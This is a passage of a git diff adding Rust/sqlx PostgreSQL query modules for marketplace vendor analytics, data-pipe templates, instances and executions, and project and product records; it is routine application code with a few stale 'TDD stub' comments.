+/// Insert a deploy event into marketplace_event table +/// +/// TDD stub - unimplemented. Requires: +/// - marketplace_event table migration with cloud_provider column +/// - INSERT query with template_id, event_type='deploy', deployer_user_id, cloud_provider, occurred_at, metadata +pub async fn insert_deploy_event( + _pool: &PgPool, + _template_id: uuid::Uuid, + _deployer_user_id: &str, + _cloud_provider: &str, + _metadata: serde_json::Value, +) -> Result<(), String> { + Err("insert_deploy_event not implemented - requires marketplace_event table".to_string()) +} + +/// Get vendor analytics for all templates owned by creator_user_id +/// +/// TDD stub - unimplemented. Requires: +/// - Query logic to aggregate events by template.creator_user_id +/// - Owner-scoped filtering (only templates where creator_user_id matches) +/// - Fallback to stack_template.view_count/deploy_count when no events exist +/// - Cloud breakdown with percentages +/// - Time series buckets +pub async fn get_vendor_analytics( + pool: &PgPool, + creator_user_id: &str, + period: Option<&str>, +) -> Result { + get_vendor_analytics_for_period(pool, creator_user_id, period.unwrap_or("30d"), None, None) + .await +} + +/// Get vendor analytics for a specific period with start/end dates +/// +/// TDD stub - unimplemented. Requires: +/// - Period filtering logic (7d, 30d, 90d, all, custom) +/// - Date range filtering with start_date/end_date for custom period +/// - Zero-filled time series buckets for missing data +/// - Bucket granularity calculation (day/week/month based on period) +pub async fn get_vendor_analytics_for_period( + pool: &PgPool, + creator_user_id: &str, + period_key: &str, + start_date: Option>, + end_date: Option>, +) -> Result { + let now = Utc::now(); + let (normalized_period, default_start, bucket) = match period_key { + "7d" => ("7d", Some(now - Duration::days(7)), "day"), + "30d" => ("30d", Some(now - Duration::days(30)), "day"), + "90d" => ("90d", Some(now - Duration::days(90)), "week"), + "all" => ("all", None, "all"), + "custom" => ("custom", start_date, "day"), + _ => ("30d", Some(now - Duration::days(30)), "day"), + }; + let start = start_date.or(default_start); + let end = end_date.or(Some(now)); + + let query_span = tracing::info_span!( + "marketplace_vendor_analytics", + creator_user_id = %creator_user_id, + period = %normalized_period + ); + + let templates = sqlx::query( + r#"SELECT + t.id, + t.creator_user_id, + t.slug, + t.name, + t.status, + COALESCE(COUNT(e.id) FILTER (WHERE e.event_type = 'view'), 0)::bigint AS views, + COALESCE(COUNT(e.id) FILTER (WHERE e.event_type = 'deploy'), 0)::bigint AS deployments + FROM stack_template t + LEFT JOIN marketplace_template_event e + ON e.template_id = t.id + AND ($2::timestamptz IS NULL OR e.occurred_at >= $2) + AND ($3::timestamptz IS NULL OR e.occurred_at <= $3) + WHERE t.creator_user_id = $1 + GROUP BY t.id, t.creator_user_id, t.slug, t.name, t.status, t.created_at + ORDER BY deployments DESC, views DESC, t.created_at DESC"#, + ) + .bind(creator_user_id) + .bind(start) + .bind(end) + .fetch_all(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("get_vendor_analytics templates error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let mut total_views = 0_i64; + let mut total_deployments = 0_i64; + let mut top_template_id = None; + let mut template_items = Vec::with_capacity(templates.len()); + let mut top_templates = Vec::with_capacity(templates.len()); + + for row in templates { + let template_id: uuid::Uuid = row.get("id"); + let views: i64 = row.get("views"); + let deployments: i64 = row.get("deployments"); + let conversion_rate = conversion_rate(views, deployments); + + total_views += views; + total_deployments += deployments; + if top_template_id.is_none() && (views > 0 || deployments > 0) { + top_template_id = Some(template_id); + } + + let slug: String = row.get("slug"); + let name: String = row.get("name"); + let creator_user_id_row: String = row.get("creator_user_id"); + let status: String = row.get("status"); + + template_items.push(TemplateAnalytics { + template_id, + creator_user_id: creator_user_id_row, + slug: slug.clone(), + name: name.clone(), + status, + views, + deployments, + conversion_rate, + }); + top_templates.push(TemplatePerformance { + template_id, + slug, + name, + views, + deployments, + conversion_rate, + }); + } + + let published_templates: i64 = sqlx::query_scalar( + r#"SELECT COUNT(*)::bigint + FROM stack_template + WHERE creator_user_id = $1 AND status = 'approved'"#, + ) + .bind(creator_user_id) + .fetch_one(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("get_vendor_analytics published count error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let cloud_rows = sqlx::query( + r#"SELECT + COALESCE(e.cloud_provider, 'unknown') AS cloud_provider, + COUNT(*)::bigint AS deployments + FROM marketplace_template_event e + INNER JOIN stack_template t ON t.id = e.template_id + WHERE t.creator_user_id = $1 + AND e.event_type = 'deploy' + AND ($2::timestamptz IS NULL OR e.occurred_at >= $2) + AND ($3::timestamptz IS NULL OR e.occurred_at <= $3) + GROUP BY COALESCE(e.cloud_provider, 'unknown') + ORDER BY deployments DESC, cloud_provider ASC"#, + ) + .bind(creator_user_id) + .bind(start) + .bind(end) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_vendor_analytics cloud breakdown error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let mut top_cloud = None; + let cloud_breakdown = cloud_rows + .into_iter() + .enumerate() + .map(|(index, row)| { + let cloud_provider: String = row.get("cloud_provider"); + let deployments: i64 = row.get("deployments"); + if index == 0 { + top_cloud = Some(cloud_provider.clone()); + } + CloudBreakdown { + cloud_provider, + deployments, + percentage: percentage(deployments, total_deployments), + } + }) + .collect(); + + let bucket_start = start.unwrap_or(now); + let bucket_end = end.unwrap_or(now); + + Ok(VendorAnalytics { + creator_id: creator_user_id.to_string(), + period: AnalyticsPeriod { + key: normalized_period.to_string(), + start_date: start, + end_date: end, + bucket: bucket.to_string(), + }, + summary: AnalyticsSummary { + total_views, + total_deployments, + conversion_rate: conversion_rate(total_views, total_deployments), + published_templates: published_templates.try_into().unwrap_or(i32::MAX), + top_cloud, + top_template_id, + }, + views_series: vec![SeriesBucket { + bucket_start, + bucket_end, + count: total_views, + }], + deployments_series: vec![SeriesBucket { + bucket_start, + bucket_end, + count: total_deployments, + }], + cloud_breakdown, + top_templates, + templates: template_items, + }) +} + +fn conversion_rate(views: i64, deployments: i64) -> f64 { + if views == 0 { + 0.0 + } else { + ((deployments as f64 / views as f64) * 10000.0).round() / 100.0 + } +} + +fn percentage(part: i64, total: i64) -> f64 { + if total == 0 { + 0.0 + } else { + ((part as f64 / total as f64) * 10000.0).round() / 100.0 + } +} + +/// Get template events filtered by creator_user_id (owner-scoped) +/// +/// TDD stub - unimplemented. Requires: +/// - JOIN marketplace_event with stack_template on template_id +/// - Filter WHERE stack_template.creator_user_id = $creator_user_id +/// - Optional date range filtering +pub async fn get_template_events_by_creator( + _pool: &PgPool, + _creator_user_id: &str, + _start_date: Option>, + _end_date: Option>, +) -> Result, String> { + Err("get_template_events_by_creator not implemented - requires owner-scoped query".to_string()) +} diff --git a/stacker/stacker/src/db/mod.rs b/stacker/stacker/src/db/mod.rs new file mode 100644 index 0000000..77f0402 --- /dev/null +++ b/stacker/stacker/src/db/mod.rs @@ -0,0 +1,19 @@ +pub mod agent; +pub mod agent_audit_log; +pub(crate) mod agreement; +pub mod chat; +pub mod client; +pub(crate) mod cloud; +pub mod command; +pub mod dag; +pub(crate) mod deployment; +pub mod marketplace; +pub mod pipe; +pub mod product; +pub mod project; +pub mod project_app; +pub mod project_member; +pub mod rating; +pub mod remote_secret; +pub mod resilience; +pub(crate) mod server; diff --git a/stacker/stacker/src/db/pipe.rs b/stacker/stacker/src/db/pipe.rs new file mode 100644 index 0000000..4246999 --- /dev/null +++ b/stacker/stacker/src/db/pipe.rs @@ -0,0 +1,634 @@ +use crate::models::pipe::{PipeExecution, PipeInstance, PipeTemplate}; +use sqlx::PgPool; +use tracing::Instrument; +use uuid::Uuid; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeTemplate queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Insert a new pipe template into the database +#[tracing::instrument(name = "Insert pipe template", skip(pool))] +pub async fn insert_template( + pool: &PgPool, + template: &PipeTemplate, +) -> Result { + let query_span = tracing::info_span!("Saving pipe template to database"); + sqlx::query_as::<_, PipeTemplate>( + r#" + INSERT INTO pipe_templates ( + id, name, description, source_app_type, source_endpoint, + target_app_type, target_endpoint, target_external_url, + field_mapping, config, is_public, created_by, created_at, updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14) + RETURNING id, name, description, source_app_type, source_endpoint, + target_app_type, target_endpoint, target_external_url, + field_mapping, config, is_public, created_by, created_at, updated_at + "#, + ) + .bind(template.id) + .bind(&template.name) + .bind(&template.description) + .bind(&template.source_app_type) + .bind(&template.source_endpoint) + .bind(&template.target_app_type) + .bind(&template.target_endpoint) + .bind(&template.target_external_url) + .bind(&template.field_mapping) + .bind(&template.config) + .bind(template.is_public) + .bind(&template.created_by) + .bind(template.created_at) + .bind(template.updated_at) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to insert pipe template: {:?}", err); + format!("Failed to insert pipe template: {}", err) + }) +} + +/// Fetch a pipe template by ID +#[tracing::instrument(name = "Fetch pipe template by ID", skip(pool))] +pub async fn get_template(pool: &PgPool, id: &Uuid) -> Result, String> { + let query_span = tracing::info_span!("Fetching pipe template by ID"); + sqlx::query_as::<_, PipeTemplate>( + r#" + SELECT id, name, description, source_app_type, source_endpoint, + target_app_type, target_endpoint, target_external_url, + field_mapping, config, is_public, created_by, created_at, updated_at + FROM pipe_templates + WHERE id = $1 + "#, + ) + .bind(id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe template: {:?}", err); + format!("Failed to fetch pipe template: {}", err) + }) +} + +/// Fetch a pipe template by name +#[tracing::instrument(name = "Fetch pipe template by name", skip(pool))] +pub async fn get_template_by_name( + pool: &PgPool, + name: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching pipe template by name"); + sqlx::query_as::<_, PipeTemplate>( + r#" + SELECT id, name, description, source_app_type, source_endpoint, + target_app_type, target_endpoint, target_external_url, + field_mapping, config, is_public, created_by, created_at, updated_at + FROM pipe_templates + WHERE name = $1 + "#, + ) + .bind(name) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe template by name: {:?}", err); + format!("Failed to fetch pipe template by name: {}", err) + }) +} + +/// List pipe templates visible to a specific user (own templates + public templates) +#[tracing::instrument(name = "List pipe templates for user", skip(pool))] +pub async fn list_templates_for_user( + pool: &PgPool, + user_id: &str, + source_app_type: Option<&str>, + target_app_type: Option<&str>, + public_only: bool, +) -> Result, String> { + let query_span = tracing::info_span!("Listing pipe templates for user"); + + let mut sql = String::from( + r#" + SELECT id, name, description, source_app_type, source_endpoint, + target_app_type, target_endpoint, target_external_url, + field_mapping, config, is_public, created_by, created_at, updated_at + FROM pipe_templates + WHERE (created_by = $1 OR is_public = true) + "#, + ); + + let mut param_idx = 2; + if source_app_type.is_some() { + sql.push_str(&format!(" AND source_app_type = ${}", param_idx)); + param_idx += 1; + } + if target_app_type.is_some() { + sql.push_str(&format!(" AND target_app_type = ${}", param_idx)); + param_idx += 1; + } + if public_only { + sql.push_str(&format!(" AND is_public = ${}", param_idx)); + } + sql.push_str(" ORDER BY created_at DESC"); + + let mut query = sqlx::query_as::<_, PipeTemplate>(&sql); + query = query.bind(user_id.to_string()); + + if let Some(source) = source_app_type { + query = query.bind(source.to_string()); + } + if let Some(target) = target_app_type { + query = query.bind(target.to_string()); + } + if public_only { + query = query.bind(true); + } + + query + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe templates for user: {:?}", err); + format!("Failed to list pipe templates: {}", err) + }) +} + +/// List pipe templates with optional filters +#[tracing::instrument(name = "List pipe templates", skip(pool))] +pub async fn list_templates( + pool: &PgPool, + source_app_type: Option<&str>, + target_app_type: Option<&str>, + public_only: bool, +) -> Result, String> { + let query_span = tracing::info_span!("Listing pipe templates"); + + // Build dynamic query based on filters + let mut sql = String::from( + r#" + SELECT id, name, description, source_app_type, source_endpoint, + target_app_type, target_endpoint, target_external_url, + field_mapping, config, is_public, created_by, created_at, updated_at + FROM pipe_templates + WHERE 1=1 + "#, + ); + + let mut param_idx = 1; + if source_app_type.is_some() { + sql.push_str(&format!(" AND source_app_type = ${}", param_idx)); + param_idx += 1; + } + if target_app_type.is_some() { + sql.push_str(&format!(" AND target_app_type = ${}", param_idx)); + param_idx += 1; + } + if public_only { + sql.push_str(&format!(" AND is_public = ${}", param_idx)); + } + sql.push_str(" ORDER BY created_at DESC"); + + let mut query = sqlx::query_as::<_, PipeTemplate>(&sql); + + if let Some(source) = source_app_type { + query = query.bind(source.to_string()); + } + if let Some(target) = target_app_type { + query = query.bind(target.to_string()); + } + if public_only { + query = query.bind(true); + } + + query + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe templates: {:?}", err); + format!("Failed to list pipe templates: {}", err) + }) +} + +/// Delete a pipe template by ID +#[tracing::instrument(name = "Delete pipe template", skip(pool))] +pub async fn delete_template(pool: &PgPool, id: &Uuid) -> Result { + let query_span = tracing::info_span!("Deleting pipe template"); + let result = sqlx::query("DELETE FROM pipe_templates WHERE id = $1") + .bind(id) + .execute(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to delete pipe template: {:?}", err); + format!("Failed to delete pipe template: {}", err) + })?; + + Ok(result.rows_affected() > 0) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeInstance queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Insert a new pipe instance into the database +#[tracing::instrument(name = "Insert pipe instance", skip(pool))] +pub async fn insert_instance( + pool: &PgPool, + instance: &PipeInstance, +) -> Result { + let query_span = tracing::info_span!("Saving pipe instance to database"); + sqlx::query_as::<_, PipeInstance>( + r#" + INSERT INTO pipe_instances ( + id, template_id, deployment_hash, source_adapter, source_container, target_adapter, + target_container, target_url, field_mapping_override, config_override, status, + last_triggered_at, trigger_count, error_count, is_local, created_by, created_at, + updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18) + RETURNING id, template_id, deployment_hash, source_adapter, source_container, + target_adapter, target_container, target_url, field_mapping_override, + config_override, status, last_triggered_at, trigger_count, error_count, + is_local, created_by, created_at, updated_at + "#, + ) + .bind(instance.id) + .bind(instance.template_id) + .bind(&instance.deployment_hash) + .bind(&instance.source_adapter) + .bind(&instance.source_container) + .bind(&instance.target_adapter) + .bind(&instance.target_container) + .bind(&instance.target_url) + .bind(&instance.field_mapping_override) + .bind(&instance.config_override) + .bind(&instance.status) + .bind(instance.last_triggered_at) + .bind(instance.trigger_count) + .bind(instance.error_count) + .bind(instance.is_local) + .bind(&instance.created_by) + .bind(instance.created_at) + .bind(instance.updated_at) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to insert pipe instance: {:?}", err); + format!("Failed to insert pipe instance: {}", err) + }) +} + +/// Fetch a pipe instance by ID +#[tracing::instrument(name = "Fetch pipe instance by ID", skip(pool))] +pub async fn get_instance(pool: &PgPool, id: &Uuid) -> Result, String> { + let query_span = tracing::info_span!("Fetching pipe instance by ID"); + sqlx::query_as::<_, PipeInstance>( + r#" + SELECT id, template_id, deployment_hash, source_adapter, source_container, + target_adapter, target_container, target_url, field_mapping_override, + config_override, status, last_triggered_at, trigger_count, error_count, + is_local, created_by, created_at, updated_at + FROM pipe_instances + WHERE id = $1 + "#, + ) + .bind(id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe instance: {:?}", err); + format!("Failed to fetch pipe instance: {}", err) + }) +} + +/// List pipe instances for a specific deployment +#[tracing::instrument(name = "List pipe instances for deployment", skip(pool))] +pub async fn list_instances( + pool: &PgPool, + deployment_hash: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Listing pipe instances for deployment"); + sqlx::query_as::<_, PipeInstance>( + r#" + SELECT id, template_id, deployment_hash, source_adapter, source_container, + target_adapter, target_container, target_url, field_mapping_override, + config_override, status, last_triggered_at, trigger_count, error_count, + is_local, created_by, created_at, updated_at + FROM pipe_instances + WHERE deployment_hash = $1 + ORDER BY created_at DESC + "#, + ) + .bind(deployment_hash) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe instances: {:?}", err); + format!("Failed to list pipe instances: {}", err) + }) +} + +/// List local pipe instances for a specific user (is_local = true) +#[tracing::instrument(name = "List local pipe instances for user", skip(pool))] +pub async fn list_local_instances_by_user( + pool: &PgPool, + user_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Listing local pipe instances"); + sqlx::query_as::<_, PipeInstance>( + r#" + SELECT id, template_id, deployment_hash, source_adapter, source_container, + target_adapter, target_container, target_url, field_mapping_override, + config_override, status, last_triggered_at, trigger_count, error_count, + is_local, created_by, created_at, updated_at + FROM pipe_instances + WHERE is_local = true AND created_by = $1 + ORDER BY created_at DESC + "#, + ) + .bind(user_id) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to list local pipe instances: {:?}", err); + format!("Failed to list local pipe instances: {}", err) + }) +} + +/// Update the status of a pipe instance +#[tracing::instrument(name = "Update pipe instance status", skip(pool))] +pub async fn update_instance_status( + pool: &PgPool, + id: &Uuid, + status: &str, +) -> Result { + let query_span = tracing::info_span!("Updating pipe instance status"); + sqlx::query_as::<_, PipeInstance>( + r#" + UPDATE pipe_instances + SET status = $2, updated_at = NOW() + WHERE id = $1 + RETURNING id, template_id, deployment_hash, source_adapter, source_container, + target_adapter, target_container, target_url, field_mapping_override, + config_override, status, last_triggered_at, trigger_count, error_count, + is_local, created_by, created_at, updated_at + "#, + ) + .bind(id) + .bind(status) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to update pipe instance status: {:?}", err); + format!("Failed to update pipe instance status: {}", err) + }) +} + +/// Delete a pipe instance by ID +#[tracing::instrument(name = "Delete pipe instance", skip(pool))] +pub async fn delete_instance(pool: &PgPool, id: &Uuid) -> Result { + let query_span = tracing::info_span!("Deleting pipe instance"); + let result = sqlx::query("DELETE FROM pipe_instances WHERE id = $1") + .bind(id) + .execute(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to delete pipe instance: {:?}", err); + format!("Failed to delete pipe instance: {}", err) + })?; + + Ok(result.rows_affected() > 0) +} + +/// Increment trigger count (and optionally error count) for a pipe instance +#[tracing::instrument(name = "Increment pipe trigger count", skip(pool))] +pub async fn increment_trigger_count( + pool: &PgPool, + id: &Uuid, + success: bool, +) -> Result<(), String> { + let query_span = tracing::info_span!("Incrementing pipe trigger count"); + + let sql = if success { + r#" + UPDATE pipe_instances + SET trigger_count = trigger_count + 1, + last_triggered_at = NOW(), + updated_at = NOW() + WHERE id = $1 + "# + } else { + r#" + UPDATE pipe_instances + SET trigger_count = trigger_count + 1, + error_count = error_count + 1, + last_triggered_at = NOW(), + updated_at = NOW() + WHERE id = $1 + "# + }; + + sqlx::query(sql) + .bind(id) + .execute(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to increment pipe trigger count: {:?}", err); + format!("Failed to increment pipe trigger count: {}", err) + }) + .map(|_| ()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeExecution queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Insert a new pipe execution record +#[tracing::instrument(name = "Insert pipe execution", skip(pool))] +pub async fn insert_execution( + pool: &PgPool, + execution: &PipeExecution, +) -> Result { + let query_span = tracing::info_span!("Saving pipe execution to database"); + sqlx::query_as::<_, PipeExecution>( + r#" + INSERT INTO pipe_executions ( + id, pipe_instance_id, deployment_hash, trigger_type, status, + source_data, mapped_data, target_response, error, duration_ms, + replay_of, is_local, created_by, started_at, completed_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) + RETURNING id, pipe_instance_id, deployment_hash, trigger_type, status, + source_data, mapped_data, target_response, error, duration_ms, + replay_of, is_local, created_by, started_at, completed_at + "#, + ) + .bind(execution.id) + .bind(execution.pipe_instance_id) + .bind(&execution.deployment_hash) + .bind(&execution.trigger_type) + .bind(&execution.status) + .bind(&execution.source_data) + .bind(&execution.mapped_data) + .bind(&execution.target_response) + .bind(&execution.error) + .bind(execution.duration_ms) + .bind(execution.replay_of) + .bind(execution.is_local) + .bind(&execution.created_by) + .bind(execution.started_at) + .bind(execution.completed_at) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to insert pipe execution: {:?}", err); + format!("Failed to insert pipe execution: {}", err) + }) +} + +/// Fetch a pipe execution by ID +#[tracing::instrument(name = "Fetch pipe execution by ID", skip(pool))] +pub async fn get_execution(pool: &PgPool, id: &Uuid) -> Result, String> { + let query_span = tracing::info_span!("Fetching pipe execution by ID"); + sqlx::query_as::<_, PipeExecution>( + r#" + SELECT id, pipe_instance_id, deployment_hash, trigger_type, status, + source_data, mapped_data, target_response, error, duration_ms, + replay_of, is_local, created_by, started_at, completed_at + FROM pipe_executions + WHERE id = $1 + "#, + ) + .bind(id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe execution: {:?}", err); + format!("Failed to fetch pipe execution: {}", err) + }) +} + +/// Find the latest pending replay execution for an instance/deployment pair. +#[tracing::instrument(name = "Find pending replay execution", skip(pool))] +pub async fn find_pending_replay_execution( + pool: &PgPool, + instance_id: &Uuid, + deployment_hash: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Finding pending replay execution"); + sqlx::query_as::<_, PipeExecution>( + r#" + SELECT id, pipe_instance_id, deployment_hash, trigger_type, status, + source_data, mapped_data, target_response, error, duration_ms, + replay_of, is_local, created_by, started_at, completed_at + FROM pipe_executions + WHERE pipe_instance_id = $1 + AND deployment_hash = $2 + AND trigger_type = 'replay' + AND replay_of IS NOT NULL + AND status = 'running' + ORDER BY started_at DESC + LIMIT 1 + "#, + ) + .bind(instance_id) + .bind(deployment_hash) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to find pending replay execution: {:?}", err); + format!("Failed to find pending replay execution: {}", err) + }) +} + +/// List pipe executions for a specific instance (paginated, newest first) +#[tracing::instrument(name = "List pipe executions for instance", skip(pool))] +pub async fn list_executions( + pool: &PgPool, + instance_id: &Uuid, + limit: i64, + offset: i64, +) -> Result, String> { + let query_span = tracing::info_span!("Listing pipe executions for instance"); + sqlx::query_as::<_, PipeExecution>( + r#" + SELECT id, pipe_instance_id, deployment_hash, trigger_type, status, + source_data, mapped_data, target_response, error, duration_ms, + replay_of, is_local, created_by, started_at, completed_at + FROM pipe_executions + WHERE pipe_instance_id = $1 + ORDER BY started_at DESC + LIMIT $2 OFFSET $3 + "#, + ) + .bind(instance_id) + .bind(limit) + .bind(offset) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe executions: {:?}", err); + format!("Failed to list pipe executions: {}", err) + }) +} + +/// Update a pipe execution with its result +#[tracing::instrument(name = "Update pipe execution result", skip(pool))] +pub async fn update_execution_result( + pool: &PgPool, + id: &Uuid, + status: &str, + source_data: Option<&serde_json::Value>, + mapped_data: Option<&serde_json::Value>, + target_response: Option<&serde_json::Value>, + error: Option<&str>, + duration_ms: Option, +) -> Result { + let query_span = tracing::info_span!("Updating pipe execution result"); + sqlx::query_as::<_, PipeExecution>( + r#" + UPDATE pipe_executions + SET status = $2, + source_data = COALESCE($3, source_data), + mapped_data = COALESCE($4, mapped_data), + target_response = COALESCE($5, target_response), + error = COALESCE($6, error), + duration_ms = COALESCE($7, duration_ms), + completed_at = NOW() + WHERE id = $1 + RETURNING id, pipe_instance_id, deployment_hash, trigger_type, status, + source_data, mapped_data, target_response, error, duration_ms, + replay_of, is_local, created_by, started_at, completed_at + "#, + ) + .bind(id) + .bind(status) + .bind(source_data) + .bind(mapped_data) + .bind(target_response) + .bind(error) + .bind(duration_ms) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to update pipe execution result: {:?}", err); + format!("Failed to update pipe execution result: {}", err) + }) +} diff --git a/stacker/stacker/src/db/product.rs b/stacker/stacker/src/db/product.rs new file mode 100644 index 0000000..e8c6874 --- /dev/null +++ b/stacker/stacker/src/db/product.rs @@ -0,0 +1,31 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn fetch_by_obj( + pg_pool: &PgPool, + obj_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Check product existence by id."); + sqlx::query_as!( + models::Product, + r#"SELECT + * + FROM product + WHERE obj_id = $1 + LIMIT 1 + "#, + obj_id + ) + .fetch_one(pg_pool) + .instrument(query_span) + .await + .map(|product| Some(product)) + .or_else(|e| match e { + sqlx::Error::RowNotFound => Ok(None), + s => { + tracing::error!("Failed to execute fetch query: {:?}", s); + Err("".to_string()) + } + }) +} diff --git a/stacker/stacker/src/db/project.rs b/stacker/stacker/src/db/project.rs new file mode 100644 index 0000000..49df850 --- /dev/null +++ b/stacker/stacker/src/db/project.rs @@ -0,0 +1,214 @@ +use crate::models; +use sqlx::PgPool; +use sqlx::Row; +use tracing::Instrument; + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + tracing::info!("Fetch project {}", id); + sqlx::query_as!( + models::Project, + r#" + SELECT + * + FROM project + WHERE id=$1 + LIMIT 1 + "#, + id + ) + .fetch_one(pool) + .await + .map(|project| Some(project)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch project, error: {:?}", e); + Err("Could not fetch data".to_string()) + } + }) +} + +pub async fn fetch_by_user(pool: &PgPool, user_id: &str) -> Result, String> { + let query_span = tracing::info_span!("Fetch projects by user id."); + sqlx::query_as!( + models::Project, + r#" + SELECT + * + FROM project + WHERE user_id=$1 + "#, + user_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch project, error: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch_shared_by_user( + pool: &PgPool, + user_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch shared projects by user id."); + sqlx::query_as::<_, models::SharedProjectSummary>( + r#" + SELECT + p.id, + p.name, + pm.role, + pm.created_at AS shared_at + FROM project_member pm + JOIN project p ON p.id = pm.project_id + WHERE pm.user_id = $1 + ORDER BY pm.created_at DESC, p.id DESC + "#, + ) + .bind(user_id) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch shared projects, error: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch_one_by_name( + pool: &PgPool, + name: &str, + user_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch one project by name."); + sqlx::query_as!( + models::Project, + r#" + SELECT + * + FROM project + WHERE name=$1 AND user_id=$2 + LIMIT 1 + "#, + name, + user_id + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|project| Some(project)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + err => { + tracing::error!("Failed to fetch one project by name, error: {:?}", err); + Err("".to_string()) + } + }) +} + +pub async fn insert( + pool: &PgPool, + mut project: models::Project, +) -> Result { + let query_span = tracing::info_span!("Saving new project into the database"); + sqlx::query( + r#" + INSERT INTO project ( + stack_id, + user_id, + name, + metadata, + created_at, + updated_at, + request_json, + source_template_id, + template_version + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9) + RETURNING id; + "#, + ) + .bind(project.stack_id) + .bind(project.user_id.clone()) + .bind(project.name.clone()) + .bind(project.metadata.clone()) + .bind(project.created_at) + .bind(project.updated_at) + .bind(project.request_json.clone()) + .bind(project.source_template_id) + .bind(project.template_version.clone()) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + project.id = result.get("id"); + project + }) + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} + +pub async fn update( + pool: &PgPool, + mut project: models::Project, +) -> Result { + let query_span = tracing::info_span!("Updating project"); + sqlx::query( + r#" + UPDATE project + SET + stack_id=$2, + user_id=$3, + name=$4, + metadata=$5, + request_json=$6, + source_template_id=$7, + template_version=$8, + updated_at=NOW() at time zone 'utc' + WHERE id = $1 + "#, + ) + .bind(project.id) + .bind(project.stack_id) + .bind(project.user_id.clone()) + .bind(project.name.clone()) + .bind(project.metadata.clone()) + .bind(project.request_json.clone()) + .bind(project.source_template_id) + .bind(project.template_version.clone()) + .execute(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + })?; + + fetch(pool, project.id) + .await + .and_then(|result| result.ok_or_else(|| "Project not found after update".to_string())) + .map(|saved| { + tracing::info!("Project {} has been saved to database", project.id); + project.updated_at = saved.updated_at; + project + }) +} + +#[tracing::instrument(name = "Delete user's project.")] +pub async fn delete(pool: &PgPool, id: i32, user_id: &str) -> Result { + tracing::info!("Delete project {}", id); + sqlx::query::("DELETE FROM project WHERE id = $1 AND user_id = $2;") + .bind(id) + .bind(user_id) + .execute(pool) + .await + .map(|r| r.rows_affected() > 0) + .map_err(|err| { + tracing::error!("Failed to delete project: {:?}", err); + "Failed to delete project".to_string() + }) +} diff --git a/stacker/stacker/src/db/project_app.rs b/stacker/stacker/src/db/project_app.rs new file mode 100644 index 0000000..caf05bb --- 